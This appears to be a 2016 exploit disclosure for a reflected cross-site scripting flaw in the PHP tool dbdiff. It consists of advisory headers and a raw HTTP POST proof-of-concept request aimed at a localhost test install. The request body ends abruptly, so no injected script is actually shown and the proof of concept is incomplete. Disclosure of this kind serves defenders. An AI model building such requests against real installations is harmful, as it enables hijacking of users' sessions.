# Exploit Title: dbdiff(php) - Reflected XSS Vulnerability # Date: 2016-06-20 # Exploit Author: HaHwul # Exploit Author Blog: www.hahwul.com # Vendor Homepage: https://github.com/joefreeman/dbdiff # Software Link: https://github.com/joefreeman/dbdiff/archive/master.zip # Version: Latest commit # Tested on: Debian [wheezy] ### Reflected XSS POST /vul_test/dbdiff/?a=export_schema HTTP/1.1 Host: 127.0.0.1 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: http://127.0.0.1/vul_test/dbdiff/? Content-Type: application/x-www-form-urlencoded Content-Length: 85 Cookie: W2=dgf6v5tn2ea8uitvk98m2tfjl7; DBSR_session=01ltbc0gf3i35kkcf5f6o6hir1; __utma=96992031.1679083892.1466384142.1466384142.1466384142.1; __utmb=96992031.2.10.1466384142; __utmc=96992031; __utmz=96992031.1466384142.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) db-user=&db-host=localhost5c989